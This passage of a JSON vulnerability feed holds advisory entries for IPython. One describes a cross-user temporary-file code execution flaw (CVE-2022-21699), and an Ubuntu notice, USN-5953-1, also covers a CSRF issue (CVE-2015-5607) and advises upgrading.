(Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T22:15:00Z","modified":"2023-11-08T04:08:08.617915Z","updated_at":"2026-11-02T15:52:53.449407Z"},{"id":"USN-5953-1","title":"ipython vulnerabilities","description":"It was discovered that IPython incorrectly processed REST API POST requests.\nAn attacker could possibly use this issue to launch a cross-site request\nforgery (CSRF) attack and leak user's sensitive information. This issue\nonly affected Ubuntu 14.04 ESM. (CVE-2015-5607)\n\nIt was discovered that IPython did not properly manage cross user temporary\nfiles. A local attacker could possibly use this issue to execute arbitrary\ncode. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM.\n(CVE-2022-21699)\n","status":"published","published":"2023-03-15T09:54:07Z","modified":"2026-06-29T13:50:50.127373027Z","updated_at":"2026-11-02T16:58:16.738762Z"}]}}